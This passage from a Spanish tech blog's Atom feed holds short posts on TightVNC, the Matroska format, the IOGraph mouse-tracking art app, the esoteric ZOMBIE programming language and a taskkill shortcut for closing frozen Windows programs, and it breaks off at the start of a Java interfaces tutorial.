/&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;TightVNC es un software de control remoto. Con TightVNC,  puedes ver el escritorio de un equipo remoto y controlarlo con tu ratón y teclado, como si estuvieras enfrente de ella. TightVNC es:   &lt;br /&gt;&lt;ul&gt;&lt;li&gt;gratis y open source,&lt;/li&gt;&lt;li&gt;útil en administración, soporte técnico, educación y otros muchos propósitos,&lt;/li&gt;&lt;li&gt;multiplataforma, disponible para Windows y Unix, con un cliente Java incluido,&lt;/li&gt;&lt;li&gt;compatible con software VNC estándar, conforme a las especificaciones del protocolo RFB.&lt;/li&gt;&lt;/ul&gt;Con TightVNC puedes:   &lt;br /&gt;&lt;ul&gt;&lt;li&gt;reducir tus gastos y ahorrar tiempo de viaje,&lt;/li&gt;&lt;li&gt;ayudar a tus amigos y familia a solucionar problemas con sus ordenadores de forma remota,&lt;/li&gt;&lt;li&gt;asegurarte de que no está pasando nada malo en tu PC mientras no estás.&lt;/li&gt;&lt;/ul&gt;&lt;a href="http://www.tightvnc.com/"&gt;Home&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.tightvnc.com/download.php"&gt;Descarga&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-3253073792282944611?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/3253073792282944611/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=3253073792282944611' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3253073792282944611'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3253073792282944611'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/05/tightvnc.html' title='TightVNC'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-2632607590454184420</id><published>2010-04-29T12:06:00.001+02:00</published><updated>2010-04-29T12:06:00.871+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Matroska</title><content type='html'>&lt;h2&gt;Qué es Matroska?&lt;/h2&gt;&lt;i&gt;&lt;b&gt;Matroska&lt;/b&gt;&lt;/i&gt; tiene como objetivo convertirse en el formato contenedor de multimedia por excelencia. Tiene su origen en un proyecto llamado MCF, pero se diferencia de este en que está basado en EBML       (Extensible Binary Meta Language), una derivación binaria de &lt;b&gt;XML&lt;/b&gt;.         El sistema EBML permite al equipo de desarrollo de Matroska conseguir ciertos bonus en una futura extensión de formato.&lt;br /&gt;Primero, es esencial dejar claro lo que es un contenedor de Audio/Vídeo para evitar malentendidos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;NO es un formato de compresión de vídeo o audio (video codec)&lt;/li&gt;&lt;li&gt;Es un... recipiente en el cual hay varios archivos de audio, vídeo y subtítulos, permitiendo al usuario almacenar una película entera o un CD en un sólo archivo.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;/ul&gt;Matroska es un proyecto abierto. Esto significa que es para uso personal y totalmente libre en su utilización y que las especificaciones técnicas que describen el código son abiertas. El source code  de las librerías desarrolladas por el equipo de desarrollo de Matroska está licenciado bajo una licencia GNU L-GPL. Además, también hay análisis gratuitos y librerías de reproducción disponibles bajo la licencia BSD, para software comercial y adopción de hardware&lt;br /&gt;.&lt;br /&gt;Matroska tiene como objetivos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Crear y documentar un formato contenedor de vídeo y audio moderno, flexible y multiplataforma, además de un códec API para formar framework libre.&lt;/li&gt;&lt;li&gt;Establecer Matroska como la alternativa de código abierto a formatos como AVI, ASF, MOV, RM, MP4 o MPG.&lt;/li&gt;&lt;li&gt;Desarrollar un conjunto de herramientas para la creación, edición e implementación de archivos Matroska.&lt;/li&gt;&lt;li&gt;Desarrollar librerías y herramientas para que los diseñadores de software puedan incluir soporte para Matroska en sus aplicaciones.&lt;/li&gt;&lt;li&gt;Preparar el soporte de hardware de los archivos Matroska en las próximas generaciones de unidades independientes, en una colaboración estrechar con los creadores de los dispositivos.&lt;/li&gt;&lt;li&gt;Soportar la adopción e implementación de librerías Matroska en Haiku (OpenBeOS) Mediakit y GStreamer.&lt;/li&gt;&lt;li&gt;Lanzar un conjunto de filtros DirectShow para la reproducción y creación de archivos Matroska en sistemas Windows.&lt;/li&gt;&lt;/ul&gt;Saludos :D &lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-2632607590454184420?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/2632607590454184420/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=2632607590454184420' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2632607590454184420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2632607590454184420'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/04/matroska.html' title='Matroska'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-2004471584211424473</id><published>2010-04-17T22:08:00.000+02:00</published><updated>2010-04-17T22:08:00.129+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><category scheme='http://www.blogger.com/atom/ns#' term='Diseño Gráfico'/><title type='text'>IOGraphica</title><content type='html'>&lt;div class="preambule"&gt;&lt;div lang="en-US"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;¿Qué es IOGraph?&lt;/b&gt;&lt;/span&gt; &lt;br /&gt;Más conocido cono MousePath  este programa fue diseñado por el diseñador moscovita &lt;a href="http://anatolyzenkov.com/"&gt;Anatoly  Zenkov&lt;/a&gt; para aclarar el trabajo rutinario. Cuando lo posteó &lt;a href="http://flickr.com/photos/anatoliy_zenkov/4271592658/"&gt;en Flickr&lt;/a&gt;  provocó el interés de algunas personas, y después decidió continuar evolucionando el proyecto junto a &lt;a href="http://whitespace.ru/"&gt;Andrey&amp;nbsp;Shipilov&lt;/a&gt;.&lt;/div&gt;&lt;div lang="en-US"&gt;IOGraph&amp;nbsp;— es una app que aseguran que vuelve los movimientos de ratón "arte moderno". En teoría la idea es que abres el programa y haces tu día normal con el PC. Vuelve al IOGraph después de un tiempo y coge la imagen que has generado.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Curiosidades:&lt;/b&gt;&lt;/span&gt; &lt;br /&gt;-Es multiplataforma&lt;br /&gt;-Puedes guardar el lienzo resultante como fondo de escritorio&lt;br /&gt;-Los círculos son paradas, no clicks.&lt;br /&gt;-IOGraph viene de Input Output Graphical&lt;br /&gt;&lt;br /&gt;&lt;a href="http://iographica.com/"&gt;Página principal&lt;/a&gt;&lt;br /&gt;&lt;a href="http://iographica.com/download/"&gt;Descargas&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos :D&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-2004471584211424473?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/2004471584211424473/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=2004471584211424473' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2004471584211424473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/2004471584211424473'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/04/iographica.html' title='IOGraphica'/><author><name>guille10000</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-5689149551372081252</id><published>2010-04-07T04:47:00.000+02:00</published><updated>2010-04-07T04:47:00.209+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>ZOMBIE</title><content type='html'>&lt;h2&gt;Introducción&lt;/h2&gt;ZOMBIE es un lenguaje de programación diseñado para nigromantes, especialmente para los más diabólicos. ZOMBIE es un acrónimo, y significa Zombie-Oriented Machine-Being  Interface Engine (en cristiano, motor de creación de interfaces orientadas a zombies).  &lt;h2&gt;Principios de diseño&lt;br /&gt;&lt;/h2&gt; &lt;ul&gt;&lt;li&gt;El lenguaje debe permitir al nigromante o programador animar cuerpos muertos, invocar y controlar espíritus, y solucionar cualquier problema de computación. &lt;/li&gt;&lt;li&gt;Deben existir ciertas garantías contra la sobreescritura de la memoria del sistema, monopolizando los ciclos de la CPU y dejando escapar entes maliciosos al mundo. &lt;/li&gt;&lt;li&gt;El lenguaje ha de ser diabólico. &lt;/li&gt;&lt;/ul&gt;  &lt;h2&gt;Conceptos del lenguaje&lt;br /&gt;&lt;/h2&gt;  &lt;h3&gt;Entes&lt;/h3&gt; Los&lt;b&gt; Entes&lt;/b&gt; son la principal unidad estructurada en un programa ZOMBIE. Hay distintos tipos de entidades diabólicas: &lt;ul&gt;&lt;li&gt;&lt;b&gt;No-Muerto (Undead)&lt;/b&gt;&lt;br /&gt;Los undead son los espíritus de la muerte, incapaces de marcharse del mundo real por varias razones. En los undead se incluye a: &lt;ol&gt;&lt;li&gt;No-muertos esclavizados: los &lt;b&gt;zombies&lt;/b&gt;, animados por los nigromantes. &lt;/li&gt;&lt;li&gt;No-muertos inquietos: los &lt;b&gt;ghosts&lt;/b&gt;, &lt;span id="result_box" class="short_text"&gt;&lt;span style="background-color: rgb(255, 255, 255);" title="who remain behind either because of an  unconsecrated death or to avenge an injustice."&gt;quienes permanecen ya sea por  una muerte sin consagrar o para vengar una injusticia.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;No-muertos libres: los &lt;b&gt;vampires&lt;/b&gt;, quienes maquinan deliberadamente su propia muerte para permanecer activos y causar estragos diabólicos. &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt;&lt;b&gt;Demonios (Demons)&lt;/b&gt;&lt;br /&gt;Los demons son entes maliciosos y libres, que normalmente residen en otros planos de existencia. Pueden ser invocados al mundo material y ser destinados a realizar tareas, pero tienen dos peligros: &lt;ol&gt;&lt;li&gt;Los demons son perversos y literales, y malinterpretarán los comandos al máximo mientras se mantenga su literalidad. &lt;/li&gt;&lt;li&gt;Si la sala de protección usada para mantener un demon bajo control es imperfecta de alguna manera el demon volverá con su invocador. &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt;&lt;b&gt;Djinn&lt;/b&gt;&lt;br /&gt;Los djinn son entes libres de naturaleza caprichosa. Pueden ser dirigidos en algunas ocasiones por una persona que controle un objeto destinado a ellos. Un enorme dolor se producirá si pierdes el control del objeto. Sin embargo, los djinn esconden un gran rencor contra quienes se atreven a dirigirlos. &lt;/li&gt;&lt;/ul&gt; Los entes más seguros para usar son los zombies. Los otros entes pueden ser usados en el diseño de algoritmos de computación más complejos, pero se necesita una protección extra al tratar con estos entes. &lt;ul&gt;&lt;li&gt;Los zombies deben ser &lt;i&gt;declared&lt;/i&gt; y después &lt;i&gt;animated&lt;/i&gt;. Un zombie animado hará cualquier cosa que se le haya ordenado. &lt;/li&gt;&lt;li&gt;Los ghosts deben ser &lt;span style="font-style: italic;"&gt;declared&lt;/span&gt; and then &lt;i&gt;disturbed&lt;/i&gt;. Un ghost alborotado (&lt;span style="font-style: italic;"&gt;disturbed&lt;/span&gt;), y por lo tanto inquieto, hará eventualmente lo que se le ha mandado. &lt;/li&gt;&lt;li&gt;Los vampires deben ser &lt;span style="font-style: italic;"&gt;declared&lt;/span&gt;. No necesitan ser animados o alborotados, y harán lo que se les ordene, pero no necesariamente en el orden demandado. &lt;/li&gt;&lt;li&gt;Los demons deben ser &lt;span style="font-style: italic;"&gt;declared&lt;/span&gt;. Tampoco necesitan ser animados o alborotados. Un demon hará lo que se lo ha mandado, si las precauciones propias de su invocación son tomadas; pero invocará más demonios para ayudarle. Esto puede ser (o no) útil.&lt;/li&gt;&lt;li&gt;Los djinn deben ser &lt;span style="font-style: italic;"&gt;declared&lt;/span&gt;. Al igual que los anteriores, no necesitan ser animados o alborotados. Un djinn puede hacer &lt;u&gt;o no&lt;/u&gt; lo que se le ha mandado. &lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;Más sobre ZOMBIE&lt;br /&gt;&lt;/h3&gt; ZOMBIE corre en entornos multiproceso. Los entes deben ser animados una vez, y cada uno debe hacer múltiples tareas una vez. &lt;p&gt; Los entes y sus tareas deben estar &lt;b&gt;active&lt;/b&gt; o &lt;b&gt;inactive&lt;/b&gt;. Un ente activo es el que ha sido animado, alborotado o que es un ente libre. Un zombie o ghost que haya sido invocado y confinado está inactive. Una tarea active es la que ha sido animada; y una inactive es la que ha sido destinada o completada. &lt;/p&gt;&lt;p&gt; Todos los entes active en un programa ZOMBIE realizan sus tareas active. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Los zombies realizan sus tareas activas en orden, empezando por la primera y tan rápido como pueden. Realizan esta tarea una sola vez. &lt;/li&gt;&lt;li&gt;Los ghosts hacen sus tareas en orden también, pero esperan un tiempo indefinido antes de empezar y entre cada tearea. Hacen su tarea una sola vez. &lt;/li&gt;&lt;li&gt;Los vampires procesan sus tareas en orden aleatorio, tan rápido como puedes. Procesan su tarea una sola vez, y esperan a acabar una tarea antes de empezar la siguiente. &lt;/li&gt;&lt;li&gt;Los demons hacen sus tareas activas en orden aleatorio, tan rápido como pueden. Deciden si hacer las tareas varias veces antes de quedarse inactive, pero harán cada tarea al menos una vez. Pueden hacer varias tareas al mismo tiempo. También pueden invocar demonios adicionales exactamente iguales a ellos. &lt;/li&gt;&lt;li&gt;Los djinn realizan sus tareas en orden aleatorio, tan rápido como pueden. Deciden si hacer cada tarea varias veces o  no antes de volverse inactive. Pueden hacer varias tareas a la vez. &lt;/li&gt;&lt;/ul&gt;  &lt;h2&gt;Comentarios&lt;/h2&gt;  &lt;h3&gt;Elementos sintácticos&lt;/h3&gt; Los programas en ZOMBIE están en forma de una lista de declaraciones de entes.  Los entes pueden ser declarados en cualquier orden, y las declaraciones acaban antes de que los entes se activen.&lt;h3&gt;Declaración del ente&lt;/h3&gt; Un programa ZOMBIE debe declarar al menos 1 ente siguiendo esta estructura: &lt;p&gt; &lt;code&gt;&lt;i&gt;nombre-ente&lt;/i&gt; is [a|an] &lt;i&gt;tipo-ente&lt;/i&gt; { &lt;i&gt;sentencias-ente&lt;/i&gt;  }&lt;/code&gt; &lt;/p&gt;&lt;p&gt; &lt;i&gt;Tipo-ente&lt;/i&gt; es uno de estos: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;zombie|enslaved undead&lt;/code&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;ghost|restless undead&lt;/code&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;vampire|free-willed undead&lt;/code&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;demon&lt;/code&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;djinn&lt;/code&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; &lt;i&gt;Nombre-ente&lt;/i&gt; puede ser cualquier cadena de texto. &lt;/p&gt;&lt;p&gt; &lt;i&gt;Sentencias-ente&lt;/i&gt; es una lista de cualquier sentencia válida, que debe incluir las declaraciones del ente.  &lt;/p&gt;&lt;h3&gt;Sentencias y declaraciones del ente&lt;br /&gt;&lt;/h3&gt; Las combinaciones siguientes son sentencias válidas: &lt;ul&gt;&lt;li&gt;&lt;code&gt;summon&lt;/code&gt; / &lt;code&gt;animate&lt;/code&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;summon&lt;/code&gt; / &lt;code&gt;bind&lt;/code&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;summon&lt;/code&gt; / &lt;code&gt;disturb&lt;/code&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;task&lt;/code&gt; / &lt;code&gt;animate&lt;/code&gt; &lt;/li&gt;&lt;li&gt;&lt;code&gt;task&lt;/code&gt; / &lt;code&gt;bind&lt;/code&gt; &lt;/li&gt;&lt;/ul&gt; Las siguientes sentencias se usan para declarar entes: &lt;ul&gt;&lt;li&gt;&lt;code&gt;animate&lt;/code&gt;&lt;br /&gt;Acaba un &lt;code&gt;summon&lt;/code&gt; o &lt;code&gt;task&lt;/code&gt;. Cuando finaliza un &lt;code&gt;summon&lt;/code&gt;, acaba con la invocación del ente y, si es un zombie, lo activa. No activa ningún otro ente. Cuando finaliza un &lt;code&gt;task&lt;/code&gt;, completa la definición del comando y marca el comando como activo. &lt;/li&gt;&lt;li&gt;&lt;code&gt;bind&lt;/code&gt;&lt;br /&gt;Completa un &lt;code&gt;summon&lt;/code&gt; o &lt;code&gt;task&lt;/code&gt;. Cuando finaliza un &lt;code&gt;summon&lt;/code&gt;, acaba con la invocación del ente, dejando el ente inactivo si es un zombie o ghost. Cuando finaliza un &lt;code&gt;task&lt;/code&gt;, completa la definición del comando  y marca el comando como inactivo. &lt;/li&gt;&lt;li&gt;&lt;code&gt;task &lt;i&gt;nombre-task&lt;/i&gt;&lt;/code&gt;&lt;br /&gt;Define una nueva tarea llamada &lt;i&gt;nombre-task&lt;/i&gt;. Las sentencias de la tarea aparecen después de esta sentencia y antes del próximo &lt;code&gt;animate&lt;/code&gt; o &lt;code&gt;bind&lt;/code&gt;. &lt;/li&gt;&lt;li&gt;&lt;code&gt;disturb&lt;/code&gt;&lt;br /&gt;Finaliza un &lt;code&gt;summon&lt;/code&gt; y, si es un ghost, lo activa. No activa otros entes. &lt;/li&gt;&lt;li&gt;&lt;code&gt;summon&lt;/code&gt;&lt;br /&gt;Marca el inicio de la definición de la tarea de un ente. &lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;Sentencias de tareas&lt;/h3&gt; Los valores que se añaden al principio de la pila se escriben al final de la sentencia. Ejemplo: &lt;blockquote&gt; &lt;code&gt;remember Zombie1 moan Zombie1 moan Zombie2&lt;/code&gt; &lt;/blockquote&gt; Esto hace: &lt;ol&gt;&lt;li&gt;Pone Zombie2 en la pila. &lt;/li&gt;&lt;li&gt;&lt;code&gt;moan&lt;/code&gt; hace que el elemento al principio de la pila, Zombie2, sea reemplazado por su valor de datos. &lt;/li&gt;&lt;li&gt;Pone Zombie1 en la pila. &lt;/li&gt;&lt;li&gt;&lt;code&gt;moan&lt;/code&gt; hace que el elemento al principio de la pila, Zombie1, sea reemplazado por su valor de datos. &lt;/li&gt;&lt;li&gt;Pone Zombie1 en la pila. &lt;/li&gt;&lt;li&gt;&lt;code&gt;remember&lt;/code&gt; hace que el elemento al principio de la pila, Zombie1, recuerde la invicación de todos los elementos de esta. &lt;/li&gt;&lt;/ol&gt; Las siguientes sentencias de tareas están definidas en ZOMBIE. Obligan al ente de la parte de arriba de la pila a hacer algo. Si el valor de la parte de arriba de la pila no es un ente, el ente llamado es el que realizará la tarea o comando. &lt;ul&gt;&lt;li&gt;&lt;code&gt;animate [&lt;i&gt;nombre-ente&lt;/i&gt;&lt;span style="font-style: italic;"&gt;]&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;Activa una nueva copia del ente si es un zombie inactivo. &lt;/li&gt;&lt;li&gt;&lt;code&gt;banish [&lt;/code&gt;&lt;code&gt;&lt;i&gt;nombre-ente&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;]&lt;/code&gt;&lt;br /&gt;Desactiva el ente inmediatamente. &lt;/li&gt;&lt;li&gt;&lt;code&gt;disturb [&lt;/code&gt;&lt;code&gt;&lt;i&gt;nombre-ente&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;]&lt;/code&gt;&lt;br /&gt;Activa una nueva copia del ente si es un ghost inactivo. &lt;/li&gt;&lt;li&gt;&lt;code&gt;forget [&lt;/code&gt;&lt;code&gt;&lt;i&gt;nombre-ente&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;]&lt;/code&gt;&lt;br /&gt;Obliga al ente a olvidar el valor de datos recordado. &lt;/li&gt;&lt;li&gt;&lt;code&gt;invoke [&lt;/code&gt;&lt;code&gt;&lt;i&gt;nombre-ente&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;]&lt;/code&gt;&lt;br /&gt;Invoca una nueva copia del ente. &lt;/li&gt;&lt;li&gt;&lt;code&gt;moan [&lt;/code&gt;&lt;code&gt;&lt;i&gt;nombre-ente&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;]&lt;/code&gt;&lt;br /&gt;Obliga al ente a "refunfuñar" su valor de datos, y recordarlo. &lt;/li&gt;&lt;li&gt;&lt;code&gt;remember [&lt;/code&gt;&lt;code&gt;&lt;i&gt;nombre-ente&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;]&lt;/code&gt;&lt;br /&gt;Obliga al ente a recordar la invocación de los valores en la pila. Ya que un zombie sólo puede recordar una cosa de cada vez, esto hace que olvide valores recordados anteriormente. &lt;/li&gt;&lt;li&gt;&lt;code&gt;say [&lt;/code&gt;&lt;code&gt;&lt;i&gt;nombre-ente&lt;/i&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;] &lt;i&gt;texto&lt;/i&gt;&lt;/code&gt;&lt;br /&gt;Imprime &lt;i&gt;texto&lt;/i&gt; por la salida estándar. &lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;Control de flujo&lt;br /&gt;&lt;/h3&gt; &lt;ul&gt;&lt;li&gt;&lt;code&gt;shamble ... until &lt;i&gt;variable&lt;/i&gt;&lt;/code&gt;&lt;br /&gt;Hace que el ente repita las sentencias entre &lt;code&gt;shamble&lt;/code&gt; y  &lt;code&gt;until&lt;/code&gt; hasta que la variable sea verdadera o true. &lt;/li&gt;&lt;li&gt;&lt;code&gt;shamble ... around&lt;/code&gt;&lt;br /&gt;Hace que el ente repita las sentencias entre &lt;code&gt;shamble&lt;/code&gt; y &lt;code&gt;around&lt;/code&gt; en un bucle infinito. &lt;/li&gt;&lt;li&gt;&lt;code&gt;stumble&lt;/code&gt;&lt;br /&gt;Hace que la tarea actual se inactive de forma inmediata. &lt;/li&gt;&lt;li&gt;&lt;code&gt;taste &lt;i&gt;variable&lt;/i&gt; good ... bad ... spit&lt;/code&gt;&lt;br /&gt;Si la variable es verdadera o true, hace que el ente realice las sentencias entre &lt;code&gt;good&lt;/code&gt; y &lt;code&gt;bad&lt;/code&gt;. Si no, realiza las sentencias entre &lt;code&gt;bad&lt;/code&gt; y &lt;code&gt;spit&lt;/code&gt;. &lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;Operadores&lt;/h3&gt; &lt;ul&gt;&lt;li&gt;&lt;code&gt;remembering [&lt;i&gt;nombre-ente&lt;/i&gt;] &lt;i&gt;variable&lt;/i&gt;&lt;/code&gt;&lt;br /&gt;Un operador booleano que imprime True si el ente está recordando un valor de datos igual a la variable dada. Si no, imprime False. &lt;/li&gt;&lt;li&gt;&lt;code&gt;rend&lt;/code&gt;&lt;br /&gt;Este operador muestra los dos valores que están en la posición más alta de la pila, divide el segundo valor entre el primero y pone el resultado en la pila. &lt;/li&gt;&lt;li&gt;&lt;code&gt;turn&lt;/code&gt;&lt;br /&gt;Reemplaza el valor en posición más alta de la pila por su negativo (5 ...-5). &lt;/li&gt;&lt;/ul&gt;   &lt;h2&gt;Hola Mundo&lt;br /&gt;&lt;/h2&gt; &lt;pre class="code"&gt;HolaMundo is a zombie&lt;br /&gt;summon&lt;br /&gt;task SayHello&lt;br /&gt;say "Hello World!"&lt;br /&gt;animate&lt;br /&gt;animate&lt;br /&gt;&lt;/pre&gt;&lt;a href="http://www.dangermouse.net/esoteric/zombie.html"&gt;Fuente&lt;/a&gt;&lt;br /&gt;PD:Conviene recordar que las pilas son estructuras LIFO.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-5689149551372081252?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/5689149551372081252/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=5689149551372081252' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5689149551372081252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/5689149551372081252'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/04/zombie_07.html' title='ZOMBIE'/><author><name>Z-Cripter</name><uri>http://www.blogger.com/profile/12814985455656744673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-3598518722187140583</id><published>2010-04-07T02:20:00.001+02:00</published><updated>2010-04-07T15:42:01.534+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>Cierra aplicaciones que no responden</title><content type='html'>Si usas Windows, es muy posible que te hayas topado en varias ocasiones con el irritante (No responde). &lt;a href="http://haxattack.blogspot.com//2009/04/29/tip-easy-kill-apps-that-freeze/"&gt;Aquí&lt;/a&gt; proponen un acceso directo para cerrar estas aplicaciones, en lugar de usar el administrador de tareas.&lt;br /&gt;&lt;p&gt;El código (puedes usarlo en un archivo bat o en un acceso directo) es este:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;taskkill.exe /f /fi "status eq not responding"&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;Si vas a asignarlo  a una hotkey, asegúrate de que el acceso directo está en tu escritorio o en el menú Inicio, porque sino no funcionará&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;SKiP&lt;/span&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6931281392920310751-3598518722187140583?l=hackybloggy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackybloggy.blogspot.com/feeds/3598518722187140583/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6931281392920310751&amp;postID=3598518722187140583' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3598518722187140583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6931281392920310751/posts/default/3598518722187140583'/><link rel='alternate' type='text/html' href='http://hackybloggy.blogspot.com/2010/04/si-usas-windows-es-muy-posible-que-te.html' title='Cierra aplicaciones que no responden'/><author><name>SKiP</name><uri>http://www.blogger.com/profile/01684128721697384528</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_QfZzP58r_js/SV4JEHKmvGI/AAAAAAAAAAg/NXjrJxAGT-Y/S220/images.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6931281392920310751.post-7082831403320277630</id><published>2010-04-06T12:29:00.000+02:00</published><updated>2010-04-06T12:29:00.558+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><title type='text'>¿Qué es una interfaz?</title><content type='html'>Como ya he escrito, los objetos definen su interacción con el resto del mundo a través de los métodos que revelan. Los métodos forman la interfaz del objeto con el mundo exterior; los botones de tu televisor, 